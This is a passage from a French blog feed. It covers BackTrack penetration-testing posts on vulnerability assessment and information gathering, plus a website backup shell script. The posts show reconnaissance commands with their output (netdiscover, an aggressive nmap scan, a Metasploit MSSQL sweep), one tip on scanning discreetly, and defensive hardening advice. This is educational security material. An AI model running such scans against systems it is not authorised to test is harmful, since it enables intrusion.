<p style="padding-left: 60px;">Une fois configuré, mettez les plugins à jour avec la commande</p>
<pre style="padding-left: 60px;" lang="bash">nessus-update-plugins</pre>
<p style="padding-left: 60px;">Nous pouvons maintenant accéder au logiciel depuis un navigateur web à l&#8217;URL : http://localhost:8834</p>
<p style="padding-left: 60px;">Renseignez le login / mot de passe configuré deux étapes plus haut. Vous avez un menu supérieur qui vous permet de gérer les utilisateurs, les politiques d&#8217;audit, les audits, et les rapports d&#8217;audit.</p>
<p style="padding-left: 60px;">Dans un scénario classique, nous pouvons démarrer un audit directement en utilisant une politique par défaut. Dans mon scénario, nous avions détecté que la victime était un ordinateur disposant du système d&#8217;exploitation Windows XP SP3, ainsi que le partage de fichier activé. Créer un nouveau &laquo;&nbsp;<strong>Scan</strong>&laquo;&nbsp;, puis choisissez une des politiques par défaut (pour mon test, je choisis &laquo;&nbsp;<strong>Internal Network Scan</strong>&laquo;&nbsp;). Je n&#8217;oublie pas de préciser l&#8217;adresse IP de la cible dans &laquo;&nbsp;<strong>Scan Targets</strong>&laquo;&nbsp;. Je clique sur &laquo;&nbsp;<strong>Launch scan</strong>&laquo;&nbsp;, et j&#8217;attends. Pour suivre en temps réel l&#8217;audit, rendez-vous dans le menu &laquo;&nbsp;<strong>Reports</strong>&laquo;&nbsp;. Cliquez deux fois sur le scan en cours, et découvrez les informations récoltées, avec leurs précisions.</p>
<p style="padding-left: 60px;"><a href="http://my1.fr/blog/wp-content/uploads/2011/08/Nessus-results.png"><img class="aligncenter size-medium wp-image-330" title="Nessus-results" src="http://my1.fr/blog/wp-content/uploads/2011/08/Nessus-results-300x98.png" alt="" width="300" height="98" /></a></p>
<p style="padding-left: 60px;">Une fois le test terminé, les failles sont classées par importance. Sachez que si vous trouvez des failles dans la colonne &laquo;&nbsp;<strong>High</strong>&laquo;&nbsp;, il est certain que votre système est hautement vulnérable et facilement accessible depuis l&#8217;extérieur.</p>
<p style="padding-left: 60px;">Dans notre étude de cas, nous avons découvert les vulnérabilités concernant le serveur SMB. Dans le prochain article, nous tenterons d&#8217;exploiter ces failles afin d&#8217;obtenir un shell sur l&#8217;ordinateur cible. En attendant, n&#8217;oubliez pas que ces informations sont précieuses et qu&#8217;il faut absolument les sauvegarder. Cliquez sur &laquo;&nbsp;<strong>Download Report</strong>&nbsp;&raquo; en bas à gauche. Choisissez le format par défaut et placer votre fichier en lieu sûr (dans <a title="Dradis" href="http://dradisframework.org/" target="_blank">Dradis</a> par exemple).</p>
<p style="padding-left: 60px;">Nous l&#8217;avons vu, Nessus est rapide et efficace. Il est important de mettre à jour régulièrement les plugins pour trouver les failles les plus récentes. Il est capable de nous donner énormément d&#8217;informations concernant la configuration d&#8217;un service distant. Nous le verrons un peu plus loin, c&#8217;est l&#8217;outil indispensable pour auditer soi-même nos propres systèmes.</p>
<p>&nbsp;</p>
<p style="padding-left: 60px;">- <strong>Mantra</strong> : Navigateur Web basé sur Firefox contenant un large panel de plugins utiles pour l’audit d&#8217;applications Web. En quelques clics, explorer les failles XSS, ou tentez des iSQL directement sur des pages Web. Les XSS sont relativement fréquentes sur Internet, surtout dans les formulaires où les développeurs Web ne prennent pas toujours le temps de sécuriser leur production.</p>
<ul>
<li><strong>Évaluation du réseau</strong></li>
</ul>
<p>Nous avons vu deux outils généralistes pour scanner un réseau ou une application web. Voyons maintenant quelques outils plus spécialisés.</p>
<p>&nbsp;</p>
<p style="padding-left: 60px;">- <strong>Cisco Tools</strong> : Contient des scripts pour auditer des équipement actifs de marque Cisco. Certains outils sont capables de détecter la version de l&#8217;IOS d&#8217;un équipement distant, et donc de connaître ses vulnérabilités.</p>
<p style="padding-left: 60px;">- <strong>Network Fuzzing</strong> : Injecte des données aléatoire sur un réseau. &laquo;&nbsp;<strong>Bed</strong>&nbsp;&raquo; est un outil puissant qui permet de détecter si un service peut être victime de Buffer Overflow (dépassement de mémoire tampon). Le logiciel &laquo;&nbsp;<strong>sfuzzer</strong>&nbsp;&raquo; est également un outil qui permet de tester un  logiciel.</p>
<p style="padding-left: 60px;">-<strong> Rapports de vulnérabilité en ligne</strong> : Consultez <a href="http://osvdb.org/" target="_blank">OSVDB</a> et <a href="http://cve.mitre.org" target="_blank">CVE</a> pour connaître les dernières failles en date.</p>
<p style="padding-left: 60px;">-<strong> VOIP Fuzzing</strong> : Détecter les failles d&#8217;un réseaux VOIP avec la technique de fuzzing avec le logiciel &laquo;&nbsp;<strong>voiper</strong>&nbsp;&raquo; par exemple.</p>
<p>&nbsp;</p>
<ul>
<li><strong>Évaluation d&#8217;applications Web</strong></li>
</ul>
<p>Les réseaux ne sont pas les seuls vulnérables. Plus haut dans les couches du modèle OSI, les applications Web peuvent être une véritable porte d&#8217;entrée vers un système ou vers des informations compromettantes.</p>
<p>&nbsp;</p>
<p style="padding-left: 60px;">- Outils dédiés aux CMS : &laquo;&nbsp;<strong>Joomscan</strong>&nbsp;&raquo; est tout simplement l&#8217;outil de référence qui permet de détecter des failles dans un site web fait avec le CMS Joomla. L&#8217;outil est assez puissant, mais la mise à jour du logiciel ne fonctionne pas (la base de données des failles étant de 2009). &laquo;&nbsp;<strong>Plecost</strong>&nbsp;&raquo; est quant à lui dédié au CMS WordPress. Pensez à récupérer la <a href="http://code.google.com/p/plecost/source/browse/trunk/wp_plugin_list.txt?r=2" target="_blank">dernière version </a>du fichier texte qui contient les numéros de version des plugins WordPress.</p>
<p style="padding-left: 60px;">- <strong>Webshag</strong> est un webfuzzer très simple d&#8217;utilisation, car il est disponible en interface graphique. L&#8217;outil <strong>Webslayer</strong> est également très puissant. Ces deux logiciels retenus permettent d’interroger violemment une page web afin d&#8217;en ressortir un maximum d&#8217;informations (nom des variables, e-mails, méthodes des formulaires, etc.)</p>
<p style="padding-left: 60px;">- <strong>MetaGooFil</strong> est un script très pratique pour rechercher rapidement tous les fichiers disponibles triés par extensions  (exemple tous les PDF) sur un site web. Il n&#8217;est pas rare de trouver des fichiers texte contenant directement des adresses e-mail ou des mot de passe en clair. Le principal atout de ce logiciel est bien entendu l&#8217;extraction de méta-données. En effets, elle peuvent contenir les noms et prénoms des auteurs des fichiers, leurs logiciels et leurs versions, etc. Une mine d&#8217;or pour recueillir des informations sur la victime.</p>
<p style="padding-left: 60px;">- <strong>W3af</strong> est l&#8217;outil Open-Source de référence pour auditer un site Web. Plusieurs plugins sont disponibles : bruteforce, audit, etc. Le résultat du scan nous indique les vulnérabilités présentes sur le site en question. J&#8217;ai trouvé ce <a href="http://www.aldeid.com/wiki/W3AF" target="_blank">site</a> qui est un Wiki de W3af (et qui regorge d&#8217;informations essentielles).</p>
<p>&nbsp;</p>
<ul>
<li><strong> Évaluation de bases de données</strong></li>
</ul>
<p>Les outils d&#8217;évaluation de vulnérabilités de base de données sont les mêmes que ceux pour la collecte d&#8217;information :</p>
<p style="padding-left: 30px;">- <strong>SQLmap</strong> et <strong>SQLninja</strong> : outils d&#8217;injection SQL</p>
<p style="padding-left: 30px;">- <strong>SQLbrute</strong> : outil d&#8217;injection SQL en bruteforce.</p>
<p>Nous étudierons plus en détail ces outils dans l&#8217;exploitation de failles (prochain article).</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h2>Les moyens pour lutter contre la détection de vulnérabilités.</h2>
<p>&nbsp;</p>
<p>Je pense que ce sont les mêmes que pour la <a title="La collecte d'informations" href="http://my1.fr/blog/backtrack-collecte-d-informations/" target="_blank"><strong>collecte d&#8217;information</strong></a>.</p>
<p>En effet, la détection de vulnérabilités est également une action de recherche d&#8217;informations, mais plus orientée dans la découverte des versions utilisées, ou dans les méthodes appliquées de développement.</p>
<p>&nbsp;</p>
<p>Je clos cet article en précisant que la 1ère vulnérabilité est l&#8217;Homme. Sécuriser un réseau et un système est une action fondamentale, qui doit toujours rester à l&#8217;esprit du personnel informatique. Cependant, la formation du personnel de <strong>toute</strong> l&#8217;entreprise est également primordiale. Les grandes attaques très connues ont toutes commencées par une faille qui venait d&#8217;un ou plusieurs employés.</p>
<p>A bon entendeur,</p>
<p>&nbsp;</p>
<p>La suite au prochain article : <strong>Exploitation</strong>.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/backtrack-evaluation-de-vulnerabilite/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Petit script de sauvegarde d&#8217;un serveur Web avec Shell restreint</title>
		<link>http://my1.fr/blog/petit-script-de-sauvegarde-dun-serveur-web-avec-shell-restreint/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=petit-script-de-sauvegarde-dun-serveur-web-avec-shell-restreint</link>
		<comments>http://my1.fr/blog/petit-script-de-sauvegarde-dun-serveur-web-avec-shell-restreint/#comments</comments>
		<pubDate>Sun, 07 Aug 2011 01:59:12 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[planete-libre]]></category>
		<category><![CDATA[sauvegarde]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=255</guid>
		<description><![CDATA[Hop, c&#8217;est cadeau, voici un script tout simple pour sauvegarder automatiquement et périodiquement son site web : sauvegarde périodique (les fichiers sont conservés 15 jours) sauvegarde des bases de données (variables à changer) sauvegarde des fichiers du site (chemins à changer) Ce n&#8217;est qu&#8217;un squelette, et vous êtes libres d&#8217;y ajouter votre grain de sel, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://my1.fr/blog/wp-content/uploads/2011/08/sauvegarde.jpg"><img class="aligncenter size-full wp-image-272" title="sauvegarde" src="http://my1.fr/blog/wp-content/uploads/2011/08/sauvegarde.jpg" alt="" width="256" height="256" /></a></p>
<p>Hop, c&#8217;est cadeau, voici un script tout simple pour sauvegarder automatiquement et périodiquement son site web :</p>
<ul>
<li>sauvegarde périodique (les fichiers sont conservés 15 jours)</li>
<li>sauvegarde des bases de données (variables à changer)</li>
<li>sauvegarde des fichiers du site (chemins à changer)</li>
</ul>
<p>Ce n&#8217;est qu&#8217;un squelette, et vous êtes libres d&#8217;y ajouter votre grain de sel, n&#8217;hésitez pas à l&#8217;améliorer et à le partager ici !</p>
<p>&nbsp;</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left2">Download <a href="http://my1.fr/blog/wp-content/plugins/wp-codebox/wp-codebox.php?p=255&amp;download=backup.sh">backup.sh</a></span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p25517"><td class="code" id="p255code17"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/sh</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#définitions des variables :</span>
<span style="color: #007800;">datedujour</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">date</span> +<span style="color: #000000; font-weight: bold;">%</span>Y<span style="color: #000000; font-weight: bold;">%</span>m<span style="color: #000000; font-weight: bold;">%</span>d<span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #007800;">fichierdujour</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">date</span> +<span style="color: #000000; font-weight: bold;">%</span>Y<span style="color: #000000; font-weight: bold;">%</span>m<span style="color: #000000; font-weight: bold;">%</span>d<span style="color: #7a0874; font-weight: bold;">&#41;</span>-SqlBackup.tar.gz
<span style="color: #007800;">datequinze</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">date</span> <span style="color: #660033;">-d</span> <span style="color: #ff0000;">'15 days ago'</span> +<span style="color: #000000; font-weight: bold;">%</span>Y<span style="color: #000000; font-weight: bold;">%</span>m<span style="color: #000000; font-weight: bold;">%</span>d<span style="color: #7a0874; font-weight: bold;">&#41;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># On afficher les infos date du jour et autre pour le log.</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Date du jour : <span style="color: #007800;">$datedujour</span>&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Fichier du jour : <span style="color: #007800;">$fichierdujour</span>&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Date il y a 15 jours : <span style="color: #007800;">$datequinze</span>&quot;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#On supprime  toutes les sauvegardes existantes dans le dossier d'exécution</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-f</span> <span style="color: #000000; font-weight: bold;">*</span>.sql
&nbsp;
<span style="color: #666666; font-style: italic;"># La commande dump :</span>
mysqldump <span style="color: #660033;">-h</span> localhost <span style="color: #660033;">-u</span> LOGIN_BDD <span style="color: #660033;">-pPASSWORD</span> NOM_BDD <span style="color: #000000; font-weight: bold;">&gt;</span> BDD.sql
&nbsp;
<span style="color: #666666; font-style: italic;">#on archive tous les backups dans un zip a la date du jour</span>
<span style="color: #666666; font-style: italic;"># tar czf $fichierdujour *.sql</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#on sauvegarde les fichiers du repertoire web</span>
<span style="color: #c20cb9; font-weight: bold;">tar</span> <span style="color: #660033;">-cvzf</span> www.tgz <span style="color: #000000; font-weight: bold;">/</span>public_html<span style="color: #000000; font-weight: bold;">/</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#on cree le répertoire du jour et y place les backups</span>
<span style="color: #c20cb9; font-weight: bold;">mkdir</span> ~<span style="color: #000000; font-weight: bold;">/</span>backup<span style="color: #000000; font-weight: bold;">/</span>auto<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$datedujour</span>
<span style="color: #c20cb9; font-weight: bold;">mv</span> <span style="color: #000000; font-weight: bold;">*</span>.sql  ~<span style="color: #000000; font-weight: bold;">/</span>backup<span style="color: #000000; font-weight: bold;">/</span>auto<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$datedujour</span><span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #c20cb9; font-weight: bold;">mv</span> www<span style="color: #000000; font-weight: bold;">*</span> ~<span style="color: #000000; font-weight: bold;">/</span>backup<span style="color: #000000; font-weight: bold;">/</span>auto<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$datedujour</span><span style="color: #000000; font-weight: bold;">/</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#on supprime le répertoire d il y a 15 jours s'il existe</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">test</span> <span style="color: #660033;">-d</span> ~<span style="color: #000000; font-weight: bold;">/</span>backup<span style="color: #000000; font-weight: bold;">/</span>auto<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$datequinze</span>; <span style="color: #000000; font-weight: bold;">then</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">'suppression des anciens backups vieux de 15 jours ou plus'</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-rf</span> ~<span style="color: #000000; font-weight: bold;">/</span>backup<span style="color: #000000; font-weight: bold;">/</span>auto<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$datequinze</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#on supprime le tar.gz du jour</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-f</span> <span style="color: #007800;">$fichierdujour</span></pre></td></tr></table></div>

<p>Puis exécuter :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p255code18'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p25518"><td class="code" id="p255code18"><pre class="bash" style="font-family:monospace;">crontab <span style="color: #660033;">-e</span></pre></td></tr></table></div>

<p>Pour y ajouter la cron suivante :</p>
<p><span style="color: #800000;">0 0 * * * /root/scripts/backup.sh</span></p>
<p>&nbsp;</p>
<p>Je peux maintenant dormir tranquille, cron s&#8217;occupe de tout&#8230;</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/petit-script-de-sauvegarde-dun-serveur-web-avec-shell-restreint/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Backtrack &#8211; Collecte d&#8217;informations</title>
		<link>http://my1.fr/blog/backtrack-collecte-d-informations/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=backtrack-collecte-d-informations</link>
		<comments>http://my1.fr/blog/backtrack-collecte-d-informations/#comments</comments>
		<pubDate>Fri, 05 Aug 2011 15:48:09 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Sécurité]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=221</guid>
		<description><![CDATA[&#160; Après une introduction sur la distribution Backtrack, voyons maintenant quelques techniques de collecte d&#8217;informations. Cette première étape est fondamentale pour la suite. Sans les informations recueillies, vous serez incapables d&#8217;exploiter les failles d&#8217;un réseau ou d&#8217;un système. Nous allons voir tout d&#8217;abord les moyens utilisés pour collecter ces informations et ensuite les techniques pour [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-228" title="Backtrack" src="http://my1.fr/blog/wp-content/uploads/2011/08/backtrack-html.001-300x225.png" alt="" width="300" height="225" /></p>
<p>&nbsp;</p>
<p>Après une introduction sur la distribution Backtrack, voyons maintenant quelques techniques de collecte d&#8217;informations.</p>
<p>Cette première étape est fondamentale pour la suite. Sans les informations recueillies, vous serez incapables d&#8217;exploiter les failles d&#8217;un réseau ou d&#8217;un système.</p>
<p>Nous allons voir tout d&#8217;abord les moyens utilisés pour collecter ces informations et ensuite les techniques pour se protéger contre cela.</p>
<p>&nbsp;</p>
<h2>Les moyens engagés pour collecter des informations.</h2>
<p>&nbsp;</p>
<ul>
<li><strong>Analyse du réseau</strong></li>
</ul>
<p style="padding-left: 30px;">- <strong>Netdiscover</strong> : Outil de découverte réseau</p>
<p>Exemple :</p>
<blockquote><p>netdiscover -i eth0 -r 192.168.128.0/24</p></blockquote>
<p>Cet outil est une des premières étapes lorsque nous recherchons des victimes potentielles. Sans adresse IP, pas d&#8217;attaque&#8230; Un autre outil existe en interface graphique, et propose la découverte réseau couplée au scan de port, ainsi qu&#8217;à l&#8217;OS-Fingerprinting : <strong>Autoscan</strong>.</p>
<p>&nbsp;</p>
<p style="padding-left: 30px;">- <strong>Zenmap</strong> : Scanner de port en interface graphique (utilisant Nmap)</p>
<p>Exemple d&#8217;un scan &laquo;&nbsp;intense&nbsp;&raquo; :</p>
<blockquote><p>nmap -T4 -A -v 192.168.128.132</p>
<p><span style="color: #800000;">Retrying OS detection (try #5) against 192.168.128.132</span><br />
<span style="color: #800000;">NSE: Script scanning 192.168.128.132.</span><br />
<span style="color: #800000;">Initiating NSE at 14:51</span><br />
<span style="color: #800000;">Completed NSE at 14:51, 0.17s elapsed</span><br />
<span style="color: #800000;">Nmap scan report for 192.168.128.132</span><br />
<span style="color: #800000;">Host is up (0.00057s latency).</span><br />
<span style="color: #800000;">Not shown: 997 closed ports</span><br />
<span style="color: #800000;">PORT    STATE SERVICE      VERSION</span><br />
<span style="color: #800000;">135/tcp open  msrpc        Microsoft Windows RPC</span><br />
<span style="color: #800000;">139/tcp open  netbios-ssn</span><br />
<span style="color: #800000;">445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds</span></p>
<p>&nbsp;</p></blockquote>
<p>Nmap est l&#8217;outil de référence pour scanner les ports ouverts d&#8217;une machine. Je tiens à préciser que l&#8217;utilisation de Nmap peut réveiller un pare-feu, et avertir un utilisateur que sa machine a été victime d&#8217;un scan de port. Il faut donc l&#8217;utiliser avec discrétion, et ne pas hésiter à bien lire la documentation pour utiliser les bonnes options.</p>
<p>Nous n&#8217;irons pas plus loin pour le moment, la suite étant la détection de vulnérabilités.</p>
<p>&nbsp;</p>
<ul>
<li><strong>Analyse d&#8217;applications Web</strong></li>
</ul>
<p>Un serveur Web est toujours très bavard. Il peut renseigner pas mal d&#8217;informations précieuses, qui peuvent souvent compromettre la sécurité du système.</p>
<p style="padding-left: 30px;">- <strong>whatweb</strong> : Obenir la version du serveur, les variables HTTP, ainsi que le nom de l&#8217;application Web installée</p>
<p style="padding-left: 30px;">Exemple :</p>
<blockquote><p>whatweb http://my1.fr/blog</p></blockquote>
<p style="padding-left: 30px;">- <strong>webshag</strong> : Outil qui permet de scanner un serveur web. Il propose entre autre de détecter l&#8217;arborescence du répertoire web, de détecter la version du serveur, etc. C&#8217;est en scannant un serveur Web que nous pourrons découvrir les différentes applications installées dessus, et pourquoi pas un CMS connu comme Joomla, ou WordPress.</p>
<p style="padding-left: 30px;">- <strong>cms-explorer</strong> : Après avoir découvert quelle application web était installée sur un serveur Web, nous allons découvrir le thème installé, ainsi que les extensions utilisées. Ainsi, nous pourrons peut-être par la suite exploiter telle ou telle faille dans un plugin. Pour vous donner un exemple concret, les attaques XSS et SQLi sont les plus rependues actuellement sur le web et sont dans la plupart des cas la cause des défacements de sites web ou vols de bases de données.</p>
<p style="padding-left: 30px;">- <strong>wafw00f</strong> : Script en python qui permet de détecter des pare-feu pour serveur Web (Reverse Proxy par exemple).</p>
<p>&nbsp;</p>
<ul>
<li><strong>Analyse de bases de données</strong></li>
</ul>
<p style="padding-left: 30px;"> - <strong>msf</strong> : le fameux framework permet de détecter les bases de données Microsoft SQL.</p>
<p style="padding-left: 30px;">Exemple :</p>
<p style="padding-left: 30px;"># msf console</p>
<p style="padding-left: 30px;">msf &gt; use scanner/mssql/mssql_ping</p>
<p style="padding-left: 30px;">msf auxiliary(mssql_ping) &gt; set RHOSTS 192.168.128.0/24</p>
<p style="padding-left: 30px;">msf auxiliary(mssql_ping) &gt; exploit</p>
<blockquote>
<pre><span style="color: #800000;">[*] SQL Server information for 192.168.128.12:
[*] tcp = 1433
[*] np = SRVBDD-0pipesqlquery
[*] Version = 8.00.192
[*] InstanceName = MSSQLSERVER
[*] IsClustered = No
[*] ServerName = SRVBDD-0
[*] Auxiliary module execution completed</span></pre>
</blockquote>
<p>&nbsp;</p>
<p style="padding-left: 30px;">- <strong>SQLmap</strong> : Logiciel d&#8217;injection SQL, et prise de contrôle de base de données. Pas mal de tutoriels en vidéo sont disponibles <a title="Vidéos SQLmap" href="http://www.youtube.com/user/inquisb#p/u" target="_blank"><strong>ICI</strong></a>.</p>
<p>&nbsp;</p>
<ul>
<li><strong>Analyse des réseaux sans fil</strong></li>
</ul>
<p>Nous sommes de plus en plus connectés sans-fil. Que ce soit en bluetooth ou en wifi, les équipements sont toujours plus perfectionnés mais pas toujours bien sécurisés.</p>
<p>La suite logicielle<strong> aircrack-ng</strong> contient les outils wifi les plus puissants du moment.</p>
<p style="padding-left: 30px;">- <strong>airodump</strong> : Outil de capture de paquets 802.11, capable d&#8217;enregistrer du traffic en clair, et même crypté. Dans un premier temps, il est nécessaire de scanner les réseaux sans-fil disponibles, pour ensuite voir ceux qui sont ouverts ou protégés. Les algorithmes de chiffrement sont précisés, et peuvent donc donner pas mal d&#8217;informations importantes pour une personne malveillante.</p>
<p style="padding-left: 30px;">- <strong>bluediving</strong> : Logiciel de scan bluetooth, qui permet aussi de lancer des attaques contre les équipements trouvés.</p>
<p style="padding-left: 30px;">
<ul>
<li><strong>Rassembler, et partager les informations collectées</strong></li>
</ul>
<p>Que vous travaillez seul ou en équipe, les informations prises doivent êtres placées en lieux sûr, et surtout bien organisées. Backtrack propose un framework Open-Source nommé <a title="Dradis" href="http://dradisframework.org/" target="_blank">Dradis</a>. Dans une interface web, insérez les résultats de vos scans NMAP, Nessus, vos notes, etc. Partagez-les grâce au serveur web intégré, tout en maintenant la confidentialité des données avec le module SSL activé par défaut.</p>
<p>&nbsp;</p>
<h2>Les moyens pour lutter contre la collecte d&#8217;information.</h2>
<p>&nbsp;</p>
<ul>
<li><strong>Se protéger contre l&#8217;analyse du réseau</strong></li>
</ul>
<p style="padding-left: 30px;">Pour se protéger contre les scans de ports ou encore les requêtes réseau étranges, il y a quelques règles à respecter :</p>
<p style="padding-left: 30px;">- installer une solution pare-feu sur <strong>toutes</strong> les machines (clientes et serveurs).</p>
<p style="padding-left: 30px;">- sur les machines Linux, installer le paquet <strong>psad</strong>  et suivez ce <a title="Tutoriel PSAD" href="http://www.cyberciti.biz/faq/linux-detect-port-scan-attacks/" target="_blank">tutoriel</a> plutôt bien fait qui permet de bloquer les scans de port.</p>
<p style="padding-left: 30px;">- sur les équipements actifs, configurer une table de correspondances adresse MAC / adresse IP <strong>statique</strong>.</p>
<p style="padding-left: 30px;">- utiliser des sondes IDS/IPS pour la détection d&#8217;intrusion. Elles écoutent le réseau pendant un certain temps, et sont capables de détecter un trafic anormal. <a title="Site officiel Snort" href="http://www.snort.org/" target="_blank">Snort</a> est une solution libre qui est très réputé dans le milieu de l&#8217;IDS.</p>
<p style="padding-left: 30px;">- mettre à jour régulièrement les IOS des équipements actifs.</p>
<p>&nbsp;</p>
<ul>
<li><strong>Analyse d&#8217;applications Web</strong></li>
</ul>
<p style="padding-left: 30px;">- sécuriser les serveurs Web (très longue tache). Pour Apache, voici un très bon <a title="Document" href="www.nsa.gov/ia/_files/os/redhat/rhel5-guide-i731.pdf" target="_blank">guide</a> établi par la NSA (National Security Agency) qui explique les différents points à configurer pour avoir un serveur web sécurisé.</p>
<p style="padding-left: 30px;">- utiliser un reverse-proxy. Cloudfare propose une offre gratuite de base qui donne une bonne protection de serveur Web. Les requêtes HTTP passent d&#8217;abord par le reverse-proxy, et sont envoyées au serveur Web ; très utile pour se prémunir contre les attaques de déni de service (DOS).</p>
<p style="padding-left: 30px;">- Lorsqu&#8217;on développe en langage dynamique (au hasard : PHP), protéger les variables, pour éviter les injections SQL. Voici un excellent <a title="Tutoriel PHP" href="http://www.learnphponline.com/security/sql-injection-prevention-mysql-php" target="_blank">tutoriel</a>. Il faut également protéger tous les formulaires pour éviter les failles XSS. Paul Da Silva l&#8217;explique très bien sur son <a title="Support PHP" href="http://www.paulds.fr/2011/07/support-de-cours-securite-php-nouvelles-du-front/" target="_blank">blog</a> dans un cours comment se protéger contre ces attaques.</p>
<p style="padding-left: 30px;">- Enfin, quand nous utilisons un CMS (comme WordPress, Drupal, Joomla, etc), la règle d&#8217;or est la mise-à-jour. Se tenir au courant soit directement sur le site officiel du CMS, soit via des extensions de mises-à-jour automatiques. Éviter d&#8217;utiliser trop de plugins sur son site, car certains contiennent souvent pas mal de failles. Choisir ses extensions, et les mettre à jour diminuera donc le risque d&#8217;attaque.</p>
<ul>
<li><strong>Analyse de bases de données</strong></li>
</ul>
<p style="padding-left: 30px;">- Pour se protéger contre les attaques SQL, il faut commencer par sécuriser la configuration du serveur. PostgreSQL, MySQL, Oracle, sont des systèmes de gestion de base de données puissants, mais pas toujours sûrs. Leurs configuration de bases sont souvent trop permissives, et doivent êtres sécurisées au mieux. Lors d&#8217;un précédent <a title="Configuration PostgreSQL sécurisée" href="http://my1.fr/blog/2010/11/17/base-de-donnees-securisee-avec-postgresql-et-openssl/" target="_blank">billet</a>, j&#8217;explique comment sécuriser la configuration de PostgreSQL sous Debian. Supprimer les bases de données par défaut inutiles, les mots de passe par défaut (comme cela existe sur MS SQL), ainsi que tout autre paramètre commun à tous autre système. Bref, vous devez laisser le moins de traces possible de vous sur le réseau !</p>
<p style="padding-left: 30px;">- Séparer les bases de données, créer des utilisateurs SQL, attribuer des droits sur les tables&#8230; bref, exploitez à fond les fonctionnalités proposées. Ne vous contentez pas d&#8217;une base de données contenant toutes les tables de plusieurs applications métier à la fois, d&#8217;un seul utilisateur ayant tous les droits qui exécute toutes les requêtes.</p>
<p style="padding-left: 30px;">Un exemple : sur un serveur web nous avons un blog, et une application métier.</p>
<p style="padding-left: 30px;">Déjà, il faut créer deux bases de données minimum (1 pour le blog, et 1 pour l&#8217;application métier). Ensuite, créer un utilisateur par base de données qui exécutera le code que vous programmerez lors du développement du site. Pour les tâches annexes, comme les sauvegardes, ou les requêtes SQL bien spécifiques, créer un utilisateur à part, qui aura des droits très restrictifs. Pour information, pour effectuer une sauvegarde de la base de données, un utilisateur avec les droits en SELECT et en LOCK TABLES sont suffisants.</p>
<p>&nbsp;</p>
<ul>
<li><strong>Analyse des réseaux sans fil</strong></li>
</ul>
<p style="padding-left: 30px;">On ne le dira jamais assez : un réseau sans-fil doit être protégé par un algorithme de chiffrement, et si possible opter pour le <a title="Explication sur Wikipédia" href="http://fr.wikipedia.org/wiki/Wi-Fi_Protected_Access#WPA2" target="_blank">WPA2</a>. Oublier le WEP, ainsi que les réseaux ouverts. Quant aux équipements bluetooth, désactiver les services inutiles et ne se servir que du nécessaire. Protéger vos équipements comme vous le pouvez, soit par mot de passe ou par des algorithmes de chiffrements.</p>
<p>&nbsp;</p>
<h2>Note finale.</h2>
<p>&nbsp;</p>
<p style="padding-left: 30px;">- Dans la 1ère partie, la liste d&#8217;outils est exhaustive, et heureusement ! Il y en a d&#8217;autres&#8230; tellement que je vous laisse chercher par vous même. La distrib&#8217; Backtrack en propose quand même un bon panel.</p>
